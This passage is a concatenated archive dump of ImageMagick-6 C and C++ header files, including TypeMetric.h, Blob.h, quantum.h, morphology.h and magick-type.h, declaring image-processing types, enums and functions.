MagickCore::QuantumInfo; using MagickCore::QueryColorDatabase; using MagickCore::QueryMagickColor; using MagickCore::QueueAuthenticPixels; using MagickCore::QueueCacheViewAuthenticPixels; using MagickCore::RaiseImage; using MagickCore::RandomThresholdImageChannel; using MagickCore::ReadImage; using MagickCore::RectangleInfo; using MagickCore::RegisterMagickInfo; using MagickCore::RegistryError; using MagickCore::RegistryFatalError; using MagickCore::RegistryType; using MagickCore::RegistryWarning; using MagickCore::RelinquishMagickMemory; using MagickCore::RemapImage; using MagickCore::ResampleImage; using MagickCore::ResetLinkedListIterator; using MagickCore::ResizeImage; using MagickCore::ResizeMagickMemory; using MagickCore::ResourceLimitError; using MagickCore::ResourceLimitFatalError; using MagickCore::ResourceLimitWarning; using MagickCore::RollImage; using MagickCore::RotateImage; using MagickCore::RotationalBlurImage; using MagickCore::RotationalBlurImageChannel; using MagickCore::SampleImage; using MagickCore::ScaleImage; using MagickCore::SegmentImage; using MagickCore::SelectiveBlurImage; using MagickCore::SelectiveBlurImageChannel; using MagickCore::SeparateImageChannel; using MagickCore::SepiaToneImage; using MagickCore::SetGeometry; using MagickCore::SetImageAlphaChannel; using MagickCore::SetImageArtifact; using MagickCore::SetImageBackgroundColor; using MagickCore::SetImageChannelDepth; using MagickCore::SetImageClipMask; using MagickCore::SetImageColorspace; using MagickCore::SetImageDepth; using MagickCore::SetImageExtent; using MagickCore::SetImageInfo; using MagickCore::SetImageInfoFile; using MagickCore::SetImageMask; using MagickCore::SetImageOpacity; using MagickCore::SetImageOption; using MagickCore::SetImageProfile; using MagickCore::SetImageProperty; using MagickCore::SetImageRegistry; using MagickCore::SetImageType; using MagickCore::SetLogEventMask; using MagickCore::SetMagickInfo; using MagickCore::SetMagickResourceLimit; using MagickCore::SetStringInfoDatum; using MagickCore::SetImageVirtualPixelMethod; using MagickCore::ShadeImage; using MagickCore::ShadowImage; using MagickCore::SharpenImage; using MagickCore::SharpenImageChannel; using MagickCore::ShaveImage; using MagickCore::ShearImage; using MagickCore::SimilarityMetricImage; using MagickCore::SigmoidalContrastImageChannel; using MagickCore::SignatureImage; using MagickCore::SketchImage; using MagickCore::SmushImages; using MagickCore::SolarizeImage; using MagickCore::SparseColorImage; using MagickCore::SpliceImage; using MagickCore::SpreadImage; using MagickCore::StatisticImage; using MagickCore::SteganoImage; using MagickCore::StereoImage; using MagickCore::StreamError; using MagickCore::StreamFatalError; using MagickCore::StreamWarning; using MagickCore::StringInfo; using MagickCore::StripImage; using MagickCore::SwirlImage; using MagickCore::SyncCacheViewAuthenticPixels; using MagickCore::SyncImage; using MagickCore::SyncAuthenticPixels; using MagickCore::TextureImage; using MagickCore::ThrowException; using MagickCore::TintImage; using MagickCore::TransformImage; using MagickCore::TransformImageColorspace; using MagickCore::TransparentPaintImage; using MagickCore::TransparentPaintImageChroma; using MagickCore::TransposeImage; using MagickCore::TransverseImage; using MagickCore::TrimImage; using MagickCore::TypeError; using MagickCore::TypeFatalError; using MagickCore::TypeWarning; using MagickCore::UndefinedException; using MagickCore::UndefinedRegistryType; using MagickCore::UniqueImageColors; using MagickCore::UnlockSemaphoreInfo; using MagickCore::UnregisterMagickInfo; using MagickCore::UnsharpMaskImage; using MagickCore::UnsharpMaskImageChannel; using MagickCore::VignetteImage; using MagickCore::CacheView; using MagickCore::WaveImage; using MagickCore::WaveletDenoiseImage; using MagickCore::WhiteThresholdImage; using MagickCore::WhiteThresholdImageChannel; using MagickCore::WidthValue; using MagickCore::WriteImage; using MagickCore::XNegative; using MagickCore::XServerError; using MagickCore::XServerFatalError; using MagickCore::XServerWarning; using MagickCore::XValue; using MagickCore::YNegative; using MagickCore::YValue; #endif // MAGICKCORE_IMPLEMENTATION } ////////////////////////////////////////////////////////////////////// // // No user-serviceable parts beyond this point // ////////////////////////////////////////////////////////////////////// #define GetPPException \ MagickCore::ExceptionInfo \ *exceptionInfo; \ exceptionInfo=MagickCore::AcquireExceptionInfo() #define ThrowPPException(quiet) \ throwException(exceptionInfo,quiet); \ (void) MagickCore::DestroyExceptionInfo(exceptionInfo) #endif // Magick_Include_header ImageMagick-6/Magick++/TypeMetric.h 0000644 00000002463 15246445046 0012643 0 ustar 00 // This may look like C code, but it is really -*- C++ -*- // // Copyright Bob Friesenhahn, 2001, 2002 // Copyright Dirk Lemstra 2014 // // TypeMetric Definition // // Container for font type metrics // #if !defined (Magick_TypeMetric_header) #define Magick_TypeMetric_header #include "Magick++/Include.h" namespace Magick { class MagickPPExport TypeMetric { friend class Image; public: // Default constructor TypeMetric(void); // Destructor ~TypeMetric(void); // Ascent, the distance in pixels from the text baseline to the // highest/upper grid coordinate used to place an outline point. double ascent(void) const; // Descent, the distance in pixels from the baseline to the lowest // grid coordinate used to place an outline point. Always a // negative value. double descent(void) const; // Maximum horizontal advance in pixels. double maxHorizontalAdvance(void) const; // Text height in pixels. double textHeight(void) const; // Text width in pixels. double textWidth(void) const; // Underline position. double underlinePosition(void) const; // Underline thickness. double underlineThickness(void) const; private: MagickCore::TypeMetric _typeMetric; }; } // namespace Magick #endif // Magick_TypeMetric_header ImageMagick-6/Magick++/Blob.h 0000644 00000004407 15246445046 0011434 0 ustar 00 // This may look like C code, but it is really -*- C++ -*- // // Copyright Bob Friesenhahn, 1999, 2000, 2001, 2002 // Copyright Dirk Lemstra 2015 // // Reference counted container class for Binary Large Objects (BLOBs) // #if !defined(Magick_BlobRef_header) #define Magick_BlobRef_header #include "Magick++/Include.h" #include <string> namespace Magick { // Forward decl class BlobRef; class MagickPPExport Blob { public: enum Allocator { MallocAllocator, NewAllocator }; // Default constructor Blob(void); // Construct object with data, making a copy of the supplied data. Blob(const void* data_,const size_t length_); // Copy constructor (reference counted) Blob(const Blob& blob_); // Destructor (reference counted) virtual ~Blob(); // Assignment operator (reference counted) Blob& operator=(const Blob& blob_ ); // Update object contents from Base64-encoded string representation. void base64(const std::string base64_); // Return Base64-encoded string representation. std::string base64(void); // Obtain pointer to data. The user should never try to modify or // free this data since the Blob class manages its own data. The // user must be finished with the data before allowing the Blob to // be destroyed since the pointer is invalid once the Blob is // destroyed. const void* data(void) const; // Obtain data length size_t length(void) const; // Update object contents, making a copy of the supplied data. // Any existing data in the object is deallocated. void update(const void* data_,const size_t length_); // Update object contents, using supplied pointer directly (no // copy). Any existing data in the object is deallocated. The user // must ensure that the pointer supplied is not deleted or // otherwise modified after it has been supplied to this method. // Specify allocator_ as "MallocAllocator" if memory is allocated // via the C language malloc() function, or "NewAllocator" if // memory is allocated via C++ 'new'. void updateNoCopy(void* data_,const size_t length_, Allocator allocator_=NewAllocator); private: BlobRef *_blobRef; }; } // namespace Magick #endif // Magick_BlobRef_header ImageMagick-6/magick/annotate.h 0000644 00000002431 15246445046 0012274 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore image annotation methods. */ #ifndef MAGICKCORE_ANNOTATE_H #define MAGICKCORE_ANNOTATE_H #include "magick/draw.h" #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif extern MagickExport MagickBooleanType AnnotateComponentGenesis(void), AnnotateImage(Image *,const DrawInfo *), GetMultilineTypeMetrics(Image *,const DrawInfo *,TypeMetric *), GetTypeMetrics(Image *,const DrawInfo *,TypeMetric *); extern MagickExport ssize_t FormatMagickCaption(Image *,DrawInfo *,const MagickBooleanType,TypeMetric *, char **); extern MagickExport void AnnotateComponentTerminus(void); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/ImageMagick.h 0000644 00000001723 15246445046 0012624 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. Deprecated as of ImageMagick 6.2.3. MagickCore Application Programming Interface declarations. */ #ifndef MAGICKCORE_IMAGEMAGICK_DEPRECATED_H #define MAGICKCORE_IMAGEMAGICK_DEPRECATED_H #include "magick/MagickCore.h" #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/quantum.h 0000644 00000012277 15246445046 0012166 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore quantum inline methods. */ #ifndef MAGICKCORE_QUANTUM_H #define MAGICKCORE_QUANTUM_H #include <float.h> #include "magick/image.h" #include "magick/semaphore.h" #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif #define RoundToQuantum(quantum) ClampToQuantum(quantum) typedef enum { UndefinedEndian, LSBEndian, MSBEndian } EndianType; typedef enum { UndefinedQuantumAlpha, AssociatedQuantumAlpha, DisassociatedQuantumAlpha } QuantumAlphaType; typedef enum { UndefinedQuantumFormat, FloatingPointQuantumFormat, SignedQuantumFormat, UnsignedQuantumFormat } QuantumFormatType; typedef enum { UndefinedQuantum, AlphaQuantum, BlackQuantum, BlueQuantum, CMYKAQuantum, CMYKQuantum, CyanQuantum, GrayAlphaQuantum, GrayQuantum, GreenQuantum, IndexAlphaQuantum, IndexQuantum, MagentaQuantum, OpacityQuantum, RedQuantum, RGBAQuantum, BGRAQuantum, RGBOQuantum, RGBQuantum, YellowQuantum, GrayPadQuantum, /* deprecated */ RGBPadQuantum, CbYCrYQuantum, CbYCrQuantum, CbYCrAQuantum, CMYKOQuantum, BGRQuantum, BGROQuantum } QuantumType; typedef struct _QuantumInfo QuantumInfo; static inline Quantum ClampToQuantum(const MagickRealType quantum) { #if defined(MAGICKCORE_HDRI_SUPPORT) return((Quantum) quantum); #else if ((IsNaN(quantum) != 0) || (quantum <= 0.0)) return((Quantum) 0); if (quantum >= (MagickRealType) QuantumRange) return(QuantumRange); return((Quantum) (quantum+0.5)); #endif } #if (MAGICKCORE_QUANTUM_DEPTH == 8) static inline unsigned char ScaleQuantumToChar(const Quantum quantum) { #if !defined(MAGICKCORE_HDRI_SUPPORT) return((unsigned char) quantum); #else if ((IsNaN(quantum) != 0) || (quantum <= 0.0f)) return(0); if (quantum >= 255.0) return(255); return((unsigned char) (quantum+0.5f)); #endif } #elif (MAGICKCORE_QUANTUM_DEPTH == 16) static inline unsigned char ScaleQuantumToChar(const Quantum quantum) { #if !defined(MAGICKCORE_HDRI_SUPPORT) return((unsigned char) (((quantum+128UL)-((quantum+128UL) >> 8)) >> 8)); #else if ((IsNaN(quantum) != 0) || (quantum <= 0.0f)) return(0); if ((quantum/257.0f) >= 255.0f) return(255); return((unsigned char) (quantum/257.0f+0.5f)); #endif } #elif (MAGICKCORE_QUANTUM_DEPTH == 32) static inline unsigned char ScaleQuantumToChar(const Quantum quantum) { #if !defined(MAGICKCORE_HDRI_SUPPORT) return((unsigned char) ((quantum+MagickULLConstant(8421504))/ MagickULLConstant(16843009))); #else if ((IsNaN(quantum) != 0) || (quantum <= 0.0)) return(0); if ((quantum/16843009.0) >= 255.0) return(255); return((unsigned char) (quantum/16843009.0+0.5)); #endif } #elif (MAGICKCORE_QUANTUM_DEPTH == 64) static inline unsigned char ScaleQuantumToChar(const Quantum quantum) { #if !defined(MAGICKCORE_HDRI_SUPPORT) return((unsigned char) (quantum/72340172838076673.0+0.5)); #else if ((IsNaN(quantum) != 0) || (quantum <= 0.0)) return(0); if ((quantum/72340172838076673.0) >= 255.0) return(255); return((unsigned char) (quantum/72340172838076673.0+0.5)); #endif } #endif extern MagickExport EndianType GetQuantumEndian(const QuantumInfo *); extern MagickExport MagickBooleanType SetQuantumDepth(const Image *,QuantumInfo *,const size_t), SetQuantumEndian(const Image *,QuantumInfo *,const EndianType), SetQuantumFormat(const Image *,QuantumInfo *,const QuantumFormatType), SetQuantumPad(const Image *,QuantumInfo *,const size_t); extern MagickExport QuantumFormatType GetQuantumFormat(const QuantumInfo *); extern MagickExport QuantumInfo *AcquireQuantumInfo(const ImageInfo *,Image *), *DestroyQuantumInfo(QuantumInfo *); extern MagickExport QuantumType GetQuantumType(Image *,ExceptionInfo *); extern MagickExport size_t ExportQuantumPixels(const Image *,const CacheView *,const QuantumInfo *, const QuantumType,unsigned char *magick_restrict,ExceptionInfo *), GetQuantumExtent(const Image *,const QuantumInfo *,const QuantumType), ImportQuantumPixels(Image *,CacheView *,const QuantumInfo *,const QuantumType, const unsigned char *magick_restrict,ExceptionInfo *); extern MagickExport unsigned char *GetQuantumPixels(const QuantumInfo *); extern MagickExport void GetQuantumInfo(const ImageInfo *,QuantumInfo *), SetQuantumAlphaType(QuantumInfo *,const QuantumAlphaType), SetQuantumImageType(Image *,const QuantumType), SetQuantumMinIsWhite(QuantumInfo *,const MagickBooleanType), SetQuantumPack(QuantumInfo *,const MagickBooleanType), SetQuantumQuantum(QuantumInfo *,const size_t), SetQuantumScale(QuantumInfo *,const double); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/morphology.h 0000644 00000011072 15246445046 0012663 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore morphology methods. */ #ifndef MAGICKCORE_MORPHOLOGY_H #define MAGICKCORE_MORPHOLOGY_H #include "magick/geometry.h" #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef enum { UndefinedKernel, /* equivalent to UnityKernel */ UnityKernel, /* The no-op or 'original image' kernel */ GaussianKernel, /* Convolution Kernels, Gaussian Based */ DoGKernel, LoGKernel, BlurKernel, CometKernel, LaplacianKernel, /* Convolution Kernels, by Name */ SobelKernel, FreiChenKernel, RobertsKernel, PrewittKernel, CompassKernel, KirschKernel, DiamondKernel, /* Shape Kernels */ SquareKernel, RectangleKernel, OctagonKernel, DiskKernel, PlusKernel, CrossKernel, RingKernel, PeaksKernel, /* Hit And Miss Kernels */ EdgesKernel, CornersKernel, DiagonalsKernel, LineEndsKernel, LineJunctionsKernel, RidgesKernel, ConvexHullKernel, ThinSEKernel, SkeletonKernel, ChebyshevKernel, /* Distance Measuring Kernels */ ManhattanKernel, OctagonalKernel, EuclideanKernel, UserDefinedKernel, /* User Specified Kernel Array */ BinomialKernel } KernelInfoType; typedef enum { UndefinedMorphology, /* Convolve / Correlate weighted sums */ ConvolveMorphology, /* Weighted Sum with reflected kernel */ CorrelateMorphology, /* Weighted Sum using a sliding window */ /* Low-level Morphology methods */ ErodeMorphology, /* Minimum Value in Neighbourhood */ DilateMorphology, /* Maximum Value in Neighbourhood */ ErodeIntensityMorphology, /* Pixel Pick using GreyScale Erode */ DilateIntensityMorphology, /* Pixel Pick using GreyScale Dialate */ DistanceMorphology, /* Add Kernel Value, take Minimum */ /* Second-level Morphology methods */ OpenMorphology, /* Dilate then Erode */ CloseMorphology, /* Erode then Dilate */ OpenIntensityMorphology, /* Pixel Pick using GreyScale Open */ CloseIntensityMorphology, /* Pixel Pick using GreyScale Close */ SmoothMorphology, /* Open then Close */ /* Difference Morphology methods */ EdgeInMorphology, /* Dilate difference from Original */ EdgeOutMorphology, /* Erode difference from Original */ EdgeMorphology, /* Dilate difference with Erode */ TopHatMorphology, /* Close difference from Original */ BottomHatMorphology, /* Open difference from Original */ /* Recursive Morphology methods */ HitAndMissMorphology, /* Foreground/Background pattern matching */ ThinningMorphology, /* Remove matching pixels from image */ ThickenMorphology, /* Add matching pixels from image */ /* Experimental Morphology methods */ VoronoiMorphology, /* distance matte channel copy nearest color */ IterativeDistanceMorphology /* Add Kernel Value, take Minimum */ } MorphologyMethod; typedef struct KernelInfo { KernelInfoType type; size_t width, height; ssize_t x, y; double *values, minimum, maximum, negative_range, positive_range, angle; struct KernelInfo *next; size_t signature; } KernelInfo; extern MagickExport KernelInfo *AcquireKernelInfo(const char *), *AcquireKernelBuiltIn(const KernelInfoType,const GeometryInfo *), *CloneKernelInfo(const KernelInfo *), *DestroyKernelInfo(KernelInfo *); extern MagickExport Image *MorphologyImage(const Image *,const MorphologyMethod,const ssize_t, const KernelInfo *,ExceptionInfo *), *MorphologyImageChannel(const Image *,const ChannelType, const MorphologyMethod,const ssize_t,const KernelInfo *,ExceptionInfo *); extern MagickExport void ScaleGeometryKernelInfo(KernelInfo *,const char *), ScaleKernelInfo(KernelInfo *,const double,const GeometryFlags), ShowKernelInfo(const KernelInfo *), UnityAddKernelInfo(KernelInfo *,const double); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/prepress.h 0000644 00000001626 15246445046 0012333 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore prepress methods. */ #ifndef MAGICKCORE_PREPRESS_H #define MAGICKCORE_PREPRESS_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif extern MagickExport double GetImageTotalInkDensity(Image *image); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/client.h 0000644 00000002027 15246445046 0011742 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore client methods. */ #ifndef MAGICKCORE_CLIENT_H #define MAGICKCORE_CLIENT_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif extern MagickExport const char *GetClientPath(void) magick_attribute((__const__)), *GetClientName(void) magick_attribute((__const__)), *SetClientName(const char *), *SetClientPath(const char *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/api.h 0000644 00000001703 15246445046 0011235 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. Deprecated as of ImageMagick 6.2.3. MagickCore Application Programming Interface declarations. */ #ifndef MAGICKCORE_API_DEPRECATED_H #define MAGICKCORE_API_DEPRECATED_H #include "magick/MagickCore.h" #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/colormap.h 0000644 00000001775 15246445046 0012311 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore image colormap methods. */ #ifndef MAGICKCORE_COLORMAP_H #define MAGICKCORE_COLORMAP_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif extern MagickExport MagickBooleanType AcquireImageColormap(Image *,const size_t), CycleColormapImage(Image *,const ssize_t), SortColormapByIntensity(Image *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/matrix.h 0000644 00000003343 15246445046 0011772 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore matrix methods. */ #ifndef MAGICKCORE_MATRIX_H #define MAGICKCORE_MATRIX_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef struct _MatrixInfo MatrixInfo; extern MagickExport double **AcquireMagickMatrix(const size_t,const size_t), **RelinquishMagickMatrix(double **,const size_t); extern MagickExport Image *MatrixToImage(const MatrixInfo *,ExceptionInfo *); extern MagickExport MagickBooleanType GaussJordanElimination(double **,double **,const size_t,const size_t), GetMatrixElement(const MatrixInfo *,const ssize_t,const ssize_t,void *), NullMatrix(MatrixInfo *), SetMatrixElement(const MatrixInfo *,const ssize_t,const ssize_t,const void *); MagickExport MatrixInfo *AcquireMatrixInfo(const size_t,const size_t,const size_t,ExceptionInfo *), *DestroyMatrixInfo(MatrixInfo *); MagickExport size_t GetMatrixColumns(const MatrixInfo *), GetMatrixRows(const MatrixInfo *); extern MagickExport void LeastSquaresAddTerms(double **,double **,const double *,const double *, const size_t,const size_t); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/magick-type.h 0000644 00000015631 15246445046 0012703 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore types. */ #ifndef MAGICKCORE_MAGICK_TYPE_H #define MAGICKCORE_MAGICK_TYPE_H #include "magick/magick-config.h" #if defined(MAGICKCORE_HAVE_UINTPTR_T) # include <stdint.h> #endif #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif #if !defined(MAGICKCORE_QUANTUM_DEPTH) #define MAGICKCORE_QUANTUM_DEPTH 16 #endif #if !defined(MagickPathExtent) #define MagickPathExtent MaxTextExtent #endif #if defined(MAGICKCORE_WINDOWS_SUPPORT) && !defined(__MINGW32__) # define MagickLLConstant(c) ((MagickOffsetType) (c ## i64)) # define MagickULLConstant(c) ((MagickSizeType) (c ## ui64)) #else # define MagickLLConstant(c) ((MagickOffsetType) (c ## LL)) # define MagickULLConstant(c) ((MagickSizeType) (c ## ULL)) #endif #if MAGICKCORE_SIZEOF_FLOAT_T == 0 typedef float MagickFloatType; #elif (MAGICKCORE_SIZEOF_FLOAT_T == MAGICKCORE_SIZEOF_FLOAT) typedef float MagickFloatType; #elif (MAGICKCORE_SIZEOF_FLOAT_T == MAGICKCORE_SIZEOF_DOUBLE) typedef double MagickFloatType; #elif (MAGICKCORE_SIZEOF_FLOAT_T == MAGICKCORE_SIZEOF_LONG_DOUBLE) typedef double MagickFloatType; #else #error Your MagickFloatType type is neither a float, nor a double, nor a long double #endif #if MAGICKCORE_SIZEOF_DOUBLE_T == 0 typedef double MagickDoubleType; #elif (MAGICKCORE_SIZEOF_DOUBLE_T == MAGICKCORE_SIZEOF_DOUBLE) typedef double MagickDoubleType; #elif (MAGICKCORE_SIZEOF_DOUBLE_T == MAGICKCORE_SIZEOF_LONG_DOUBLE) typedef long double MagickDoubleType; #else #error Your MagickDoubleType type is neither a float, nor a double, nor a long double #endif #if (MAGICKCORE_QUANTUM_DEPTH == 8) #define MaxColormapSize 256UL #define MaxMap 255UL typedef ssize_t SignedQuantum; #if defined(MAGICKCORE_HDRI_SUPPORT) typedef MagickFloatType Quantum; #define QuantumRange ((Quantum) 255.0) #define QuantumFormat "%g" #else typedef unsigned char Quantum; #define QuantumRange ((Quantum) 255) #define QuantumFormat "%u" #endif #elif (MAGICKCORE_QUANTUM_DEPTH == 16) #define MaxColormapSize 65536UL #define MaxMap 65535UL typedef ssize_t SignedQuantum; #if defined(MAGICKCORE_HDRI_SUPPORT) typedef MagickFloatType Quantum; #define QuantumRange ((Quantum) 65535.0) #define QuantumFormat "%g" #else typedef unsigned short Quantum; #define QuantumRange ((Quantum) 65535) #define QuantumFormat "%u" #endif #elif (MAGICKCORE_QUANTUM_DEPTH == 32) #define MaxColormapSize 65536UL #define MaxMap 65535UL typedef MagickDoubleType SignedQuantum; #if defined(MAGICKCORE_HDRI_SUPPORT) typedef MagickDoubleType Quantum; #define QuantumRange ((Quantum) 4294967295.0) #define QuantumFormat "%g" #else typedef unsigned int Quantum; #define QuantumRange ((Quantum) 4294967295) #define QuantumFormat "%u" #endif #elif (MAGICKCORE_QUANTUM_DEPTH == 64) #define MAGICKCORE_HDRI_SUPPORT 1 #define MaxColormapSize 65536UL #define MaxMap 65535UL typedef MagickDoubleType SignedQuantum; typedef MagickDoubleType Quantum; #define QuantumRange ((Quantum) 18446744073709551615.0) #define QuantumFormat "%g" #else #if !defined(_CH_) # error "MAGICKCORE_QUANTUM_DEPTH must be one of 8, 16, 32, or 64" #endif #endif #define MagickEpsilon (1.0e-12) #define MagickMaximumValue 1.79769313486231570E+308 #define MagickMinimumValue 2.22507385850720140E-308 #define MagickStringify(macro_or_string) MagickStringifyArg(macro_or_string) #define MagickStringifyArg(contents) #contents #define QuantumScale ((double) 1.0/(double) QuantumRange) /* Typedef declarations. */ typedef MagickDoubleType MagickRealType; typedef unsigned int MagickStatusType; #if !defined(MAGICKCORE_WINDOWS_SUPPORT) #if (MAGICKCORE_SIZEOF_UNSIGNED_LONG_LONG == 8) typedef long long MagickOffsetType; typedef unsigned long long MagickSizeType; #define MagickOffsetFormat "lld" #define MagickSizeFormat "llu" #else typedef ssize_t MagickOffsetType; typedef size_t MagickSizeType; #define MagickOffsetFormat "ld" #define MagickSizeFormat "lu" #endif #else typedef __int64 MagickOffsetType; typedef unsigned __int64 MagickSizeType; #define MagickOffsetFormat "I64i" #define MagickSizeFormat "I64u" #endif #if defined(MAGICKCORE_HAVE_UINTPTR_T) || defined(uintptr_t) typedef uintptr_t MagickAddressType; #else /* Hope for the best, I guess. */ typedef size_t MagickAddressType; #endif #if defined(_MSC_VER) && (_MSC_VER == 1200) typedef MagickOffsetType QuantumAny; #else typedef MagickSizeType QuantumAny; #endif #if defined(macintosh) #define ExceptionInfo MagickExceptionInfo #endif typedef enum { UndefinedChannel, RedChannel = 0x0001, GrayChannel = 0x0001, CyanChannel = 0x0001, GreenChannel = 0x0002, MagentaChannel = 0x0002, BlueChannel = 0x0004, YellowChannel = 0x0004, AlphaChannel = 0x0008, OpacityChannel = 0x0008, MatteChannel = 0x0008, /* deprecated */ BlackChannel = 0x0020, IndexChannel = 0x0020, CompositeChannels = 0x002F, AllChannels = 0x7ffffff, /* Special purpose channel types. */ TrueAlphaChannel = 0x0040, /* extract actual alpha channel from opacity */ RGBChannels = 0x0080, /* set alpha from grayscale mask in RGB */ GrayChannels = 0x0080, SyncChannels = 0x0100, /* channels should be modified equally */ DefaultChannels = ((AllChannels | SyncChannels) &~ OpacityChannel) } ChannelType; typedef enum { UndefinedClass, DirectClass, PseudoClass } ClassType; typedef enum { MagickFalse = 0, MagickTrue = 1 } MagickBooleanType; /* The IsNaN test is for special floating point numbers of value Nan (not a number). NaN's are defined as part of the IEEE standard for floating point number representation, and need to be watched out for. Morphology Kernels often use these special numbers as neighbourhood masks. The special property that two NaN's are never equal, even if they are from the same variable allows you to test if a value is special NaN value. The macros are thus is only true if the value given is NaN. */ #if defined(MAGICKCORE_HAVE_ISNAN) && !defined(__cplusplus) && !defined(c_plusplus) # define IsNaN(a) isnan(a) #elif defined(_MSC_VER) && (_MSC_VER >= 1310) # include <float.h> # define IsNaN(a) _isnan(a) #else # define IsNaN(a) ((a) != (a)) #endif #if !defined(INFINITY) # define INFINITY ((double) -logf(0f)) #endif typedef struct _BlobInfo BlobInfo; typedef struct _ExceptionInfo ExceptionInfo; typedef struct _Image Image; typedef struct _ImageInfo ImageInfo; #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/pixel-accessor.h 0000644 00000020632 15246445046 0013407 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore pixel accessor methods. */ #ifndef MAGICKCORE_PIXEL_ACCESSOR_H #define MAGICKCORE_PIXEL_ACCESSOR_H #include <math.h> #include "magick/gem.h" #include "magick/pixel.h" #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif #define ClampPixelRed(pixel) ClampToQuantum((pixel)->red) #define ClampPixelGreen(pixel) 